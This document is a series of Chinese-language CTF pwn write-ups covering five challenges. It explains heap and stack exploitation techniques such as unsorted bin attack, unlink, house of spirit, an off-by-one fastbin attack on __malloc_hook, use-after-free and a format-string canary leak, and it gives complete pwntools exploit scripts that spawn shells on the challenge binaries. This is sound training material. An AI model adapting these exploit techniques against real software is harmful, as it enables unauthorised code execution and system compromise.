41 [ZJCTF 2019]EasyHeap
保护
菜单堆题。
create
就是平平无奇的申请然后写入东西,地址在bss上面。
没有溢出。
edit这输入要写多少写就行,这就有了堆溢出了。
del
这个函数没啥问题,释放空间后野指针也清掉了。
但是吧,又发现了个这玩意。
那个133t是个后门函数。
所以问题就是怎么就能通过那个堆溢出把magic修改掉。
因为它只要大于那个数字就行,所以我们会想到用unsorted bin attack,因为这个攻击就是能往任意地址写一个很大的数字,刚好满足这个条件。
unsorted bin attack 就是当unsorted 的chunk再次被申请利用时,会从bins中脱离出来,需要重新构建bins链表,在构建过程中有两句核心代码。
bck = victim -> bk
unsorted_chunk(av) -> bk = bck
bck -> fd = unsorted_chunk(av)
//victim是那个要脱链的
如果我们通过堆溢出,将victim->bk这个地方的地址写成我们的目标地址target的地方,那么它就会往target的地址处写入
unsorted_chunk(av)的地址,这是一个很大的数字。
目标就达到了。
但是要注意,改的时候只能改bk,不能改fd,不然就攻击失败了。
可以试着改一改瞧一瞧。
exp
# -*- coding: utf-8 -*-
from pwn import *
#r = remote('node3.buuoj.cn',28002)
r = process('./41')
context.log_level = "debug"
def create(size,content):
r.recvuntil('Your choice :')
r.sendline("1")
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap:')
r.sendline(content)
def edit(index, size, content):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap : ')
r.send(content) #
def delete(index):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
magic=0x0006020C0-0x10
create(0x80,'a'*0x10)
create(0x80,'b'*0x10)
create(0x80,'c'*0x10)
delete(1)
edit(0,0x30,'d'*0x18+p64(0x91)+p64(0)+p64(magic))
create(0x80,'b'*0x10)
r.recvuntil("Your choice :")
r.sendline(str(4869))
r.interactive()
但是远程服务器没有那个文件,所以找不到flag。
所以本题有两种解法
第一种用的是unlink
首先了解一下什么是个unlink
unlink
unlink代码
#define unlink(P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if(FD->bk != P || BK->fd !=p)
{
malloc_printerr (check_action, "corrupted d...", P);
}
else
{
FD->bk = BK;
BK->fd = FD;
}
}
一句话总结
当要free一个chunk的时候如果发现它的前后有free的chunk,就会合并,就会先把已经free的chunk先从双向链表中解出来,将合并后的chunk放到unsorted_bin,攻击就是发生在解链的过程中。
核心代码
FD=P->fd;
BK=P->bk;
FD->bk=BK;
BK->fd=FD;
p是要脱链的chunk
假如ptr是要攻击的地址。
如果你构造你要unlink的堆块p的fd为ptr - 0x18,bk为ptr为0x10(64位)
然后会发现检查会直接绕过。
PD->bk 与 BK->fd 都是Ptr,然后执行unlink代码,最后的结果是会在ptr的地方写入BK。
ptr一般是我们可以控制写入的一个地方,那我们就可以通过unlink覆写ptr,造成一系列利用。
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node3.buuoj.cn',29387)
#r = process('./41')
context.log_level = "debug"
elf=ELF("./41")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8
def create(size,content):
r.recvuntil('Your choice :')
r.sendline("1")
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap:')
r.sendline(content)
def edit(index, size, content):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap : ')
r.send(content) #
def delete(index):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
create(0x100,'aaaa')
create(0x20,'bbbb')
create(0x80,'cccc')
payload = p64(0) + p64(0x21) + p64(ptr-0x18) + p64(ptr-0x10)
payload += p64(0x20) + p64(0x90)
edit(1,len(payload),payload)
delete(2)
payload = p64(0) + p64(0) + p64(free_got)
payload += p64(ptr-0x18) + p64(ptr+0x10) + "/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
r.interactive()
通过unlink_attack,我们最后所获得的一个效果就是我们可以控制从PD往下的内容。
我们可以有多种利用方式,我用的利用方式如下图。
堆块1的地方是我们最后所控制的ptr,它的值最后成了PD,然后我们将这一块重新写一下,写成上面那样子,堆块1先写成free_got,我们将free的got劫持成了system,将堆块2写成堆块3的地址,堆块3放着binsh,然后最后释放堆块2,就等于调用system("/bin/sh")。
第二种用的是house of sprite
说白了就是通过堆溢出控制f已经释放的fastbin chunk 的fd指针,然后申请到bss段的内存,从而控制。
exp
from pwn import *
p = process('./41')
#p = remote('node3.buuoj.cn',26672)
elf =ELF('./41')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h' ]
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,'aaaa')
create(0x68,'c')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
free(1)
p.interactive()
但是在调试的时候我出过问题,见下方链接。
linux 高版本libc虚拟机调试libc-2.23 gdb heap指令报错解决方案
42 picoctf_2018_rop chain
保护
平平无奇栈溢出。
条件很清晰,满足win1 = 1, win2 = 2, a= 那一串就行。
两个函数。
满足a等于那一串。
exp
from pwn import*
r = remote("node3.buuoj.cn", 27728)
context.log_level = "debug"
elf = ELF('./42')
flag_addr = elf.sym['flag']
win1_addr = elf.sym['win_function1']
win2_addr = elf.sym['win_function2']
#这个地方用的好,比较省事,值得推荐
payload = "a" * 0x1c
payload += p32(win1_addr)
payload += p32(win2_addr) + p32(flag_addr) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)
r.interactive()
这个地方没有使用pop_3那种gadget,因为你会发现这样也可以走。
43 [V&N2020 公开赛]simpleHeap
保护
add
八个字节写地址,四个地址写长度。长度最大不能超过111。
edit
在输入的时候对size判断有问题,漏洞就在这里,off by one。
要注意的是off by one跟off by null还是有很大区别的,off by one总体上要简单很多,因为可以直接溢出任意一个字节,而off by null 只能溢出\x00。
show
delete
show函数跟delete函数都平平无奇。
具体利用思路。
申请四个chunk,0、1、2、3
利用off by one将1的size地方写成\xe1,\xe1是因为两个\x71。为啥是0x71,因为后面我们对malloc_hook攻击的时候伪造的chunk的size位是0x7f。
将1free掉进入unsorted中,这个时候他会认为chunk2的地方也是free的,但是我们其实是可以控制的,这叫overlapping,这也就是漏洞的关键地方。
然后我们申请0x60的chunk一个,就会从刚刚free的0xe0那个堆块分割一个0x70的chunk出来,还是放在1的地方,然后剩下的0x70还在unsorted中,但是我们可以控制这个chunk,那么就通过这个来泄露地址。
接下来我们用fastbin_attack的攻击方式,来对malloc_hook进行攻击,方法是先申请一个0x70的chunk,就是chunk2控制的chunk,申请到以后是chunk4.然后释放掉,让它进入fastbin_bins。
通过chunk2将里面的fd做修改,然后两次malloc就获得了malloc的地方,然后将malloc_hook地方写成one_gadget,然后再malloc一次,就好了。
from pwn import *
context.log_level='debug'
p=process('./43')
#p=remote('node3.buuoj.cn',29736)
elf=ELF('./43')
libc=ELF('./libc-2.23.so')
def add(size,content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def edit(idx,content):
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil('content:')
p.sendline(content)
def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))
add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')
payload='p'*0x18+'\xe1'
edit(0,payload)
delete(1)
add(0x60,'pppp')
show(2)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20
libc_one_gadget=0x4526a
one_gadget=libc_base+libc_one_gadget
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23
add(0x60,'pppp')
delete(4)
payload=p64(fake_chunk)
edit(2,payload)
add(0x60,'pppp')
gdb.attach(p)
payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x20))
p.interactive()
按照正常思路直接把malloc_hook写成one_gadget就行,但是我们为什么还要用了一个realloc_hook,因为one_gadget不满足条件。
我们最后利用的是条件为[rsp + 0x30] = NULL条件的one_gadget。
我们可以看到这是刚刚结束malloc的时候,按我们想的,应该one_gadget,但是条件不满足。
下面是realloc的汇编代码。
我们可以直接用realloc+0x10那个地方的sub esp 38h,来把栈压低,然后满足条件。
然后就成了。
44 hitcontraining_uaf
保护
add
最后的结构跟前面那个题挺像的。
delete
free了之后没有清理野指针,uaf。
print
这个地方会调用那个print_node_content函数。
后门
利用还是uaf的利用,我们需要想办法让我们的content申请到一个list的chunk,就是大小位8的堆块,申请到时候就可以对里面进行读写,因为uaf,所以这个8的chunk肯定会收到控制,直接print函数就可拿到shell。
exp
from pwn import *
context.log_level='debug'
#r = process('./44')
r = remote('node3.buuoj.cn',28932)
elf = ELF('./44')
libc = ELF('./64/libc-2.23.so')
def add(size, content):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Note size :")
r.sendline(str(size))
r.recvuntil("Content :")
r.sendline(content)
r.recvuntil("Success !")
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
system_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(system_addr))
printf(0)
r.interactive()
45 bjdctf_2020_babyrop2
保护
先通过gift里面的格式化字符串漏洞泄露libc的地址,然后一把梭就好了。
要注意开了canary,所以要先%7$p泄露canary,程序每个地方canary都是一样的,然后就可以一把梭了。
from pwn import *
context.log_level='debug'
#r = process('./45')
r = remote('node3.buuoj.cn',27620)
elf = ELF('./45')
libc = ELF('./libc-2.23.so')
pop_rdi = 0x400993
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
vuln_addr = elf.symbols["vuln"]
r.sendlineafter("I'll give u some gift to help u!", "%7$p")
#因为是scanf,依靠空格或者回车截断,所以这里要用sendline。
r.recvuntil("0x")
canary = int(r.recv(16), 16)
payload = "a" * 0x18 + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendlineafter("story!", payload)
puts_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
payload = 'a' * 0x18 + p64(canary) + 'a' * 0x8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendlineafter("Pull up your sword and tell me u story!", payload)
r.interactive()